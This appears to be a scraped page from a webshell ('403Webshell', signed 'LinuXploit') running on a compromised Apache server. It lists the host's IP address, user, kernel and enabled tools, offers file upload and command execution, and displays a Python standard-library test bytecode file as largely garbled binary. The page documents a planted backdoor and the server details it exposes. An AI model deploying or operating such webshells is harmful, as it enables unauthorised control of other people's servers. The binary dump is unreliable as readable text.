403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.230
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_secrets.cpython-36.opt-2.pyc
3

�
�^�@sbddlZddlZddlZGdd�dej�ZGdd�dej�ZGdd�dej�Zedkr^ej�dS)	�Nc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�Compare_Digest_TestscCsRxLdD]D}|d}|d}|jtj||��|jtj|jd�|jd���qWdS)N�a�bcd�xyz123�dzutf-8)rrr)�
assertTrue�secrets�compare_digest�encode)�self�sr�b�r�1/opt/alt/python36/lib64/python3.6/test_secrets.py�
test_equals

zCompare_Digest_Tests.test_equalcCs~|jtjdd��|jtjdd��xTdD]L}|dd	}|dd
}|jtj||��|jtj|jd�|jd���q*WdS)
N�abcZabcdsabcsabcd�x�mn�a1b2c3r�q�kzutf-8)rrr)ZassertFalserr	r
)rrrr
rrr�test_unequals
z!Compare_Digest_Tests.test_unequalcCs6d}|jd�}|jttj||�|jttj||�dS)NZabcdezutf-8)r
�assertRaises�	TypeErrorrr	)rrr
rrr�test_bad_types$s
z#Compare_Digest_Tests.test_bad_typescCs,|jtjdd�t�|jtjdd�t�dS)NrZxyz)�assertIsInstancerr	�bool)rrrr�	test_bool-szCompare_Digest_Tests.test_boolN)�__name__�
__module__�__qualname__rrrrrrrrrs
	rc@s$eZdZdd�Zdd�Zdd�ZdS)�Random_TestscCs^d}xTdD]L}xFtd�D]:}tj|�}|jd|ko@d|kn|||f�qWq
WdS)	Nzrandbits(%d) returned %d����r�)r"r#r$)�rangerZrandbitsr)r�errmsgZnumbits�i�nrrr�
test_randbits6s


zRandom_Tests.test_randbitscCs<dddddddg}x$td�D]}|jtj|�|k�qWdS)	N�r&���� �@�
)r'rr�choice)r�itemsr)rrr�test_choice>szRandom_Tests.test_choicecCsNx(tdd�D]}|jtj|�t|��qW|jttjd�|jttjd�dS)Nr&r2rr,���)r'ZassertInrZ	randbelowr�
ValueError)rr)rrr�test_randbelowDszRandom_Tests.test_randbelowN)rrr r+r5r8rrrrr!3sr!c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�Token_TestscCs�x�tjtjtjfD]�}|j|d��j|j}y
|�Wn"tk
rV|jd|�YnXy|d�Wn"tk
r�|jd|�YnXWdQRXqWtj}|j	t
tjd��|�|j	t
tjd��d|�dS)N)�funcz$%s cannot be called with no argumentz%s cannot be called with Noner&)r�token_bytes�	token_hex�
token_urlsafe�subTestrrZfailZDEFAULT_ENTROPY�assertEqual�len)rr:�name�sizerrr�test_token_defaultsOs

"zToken_Tests.test_token_defaultscCsRxLdD]D}|j|d��.|jtj|�t�|jttj|��|�WdQRXqWdS)Nr,r.�r)r*)r,r.rDr)r>rrr;�bytesr?r@)rr*rrr�test_token_bytesas
zToken_Tests.test_token_bytescCslxfd	D]^}|j|d��Htj|�}|j|t�|jt|�d|�|jtdd�|D���WdQRXqWdS)
Nr,r#��Z)r*r&css|]}|tjkVqdS)N)�stringZ	hexdigits)�.0�crrr�	<genexpr>osz-Token_Tests.test_token_hex.<locals>.<genexpr>)r,r#rGrH)	r>rr<r�strr?r@r�all)rr*rrrr�test_token_hexhs

zToken_Tests.test_token_hexc
sltjtjd�xVd	D]N}|j|d��8tj|�}|j|t�|jt	�fdd�|D���WdQRXqWdS)
Nz-_r,���L)r*c3s|]}|�kVqdS)Nr)rJrK)�legalrrrLxsz1Token_Tests.test_token_urlsafe.<locals>.<genexpr>)r,rPrQrR)
rIZ
ascii_letters�digitsr>rr=rrMrrN)rr*rr)rSr�test_token_urlsafeqs

zToken_Tests.test_token_urlsafeN)rrr rCrFrOrUrrrrr9Ls	r9�__main__)	rZunittestrIZTestCaserr!r9r�mainrrrr�<module>s$/

Youez - 2016 - github.com/yon3zu
LinuXploit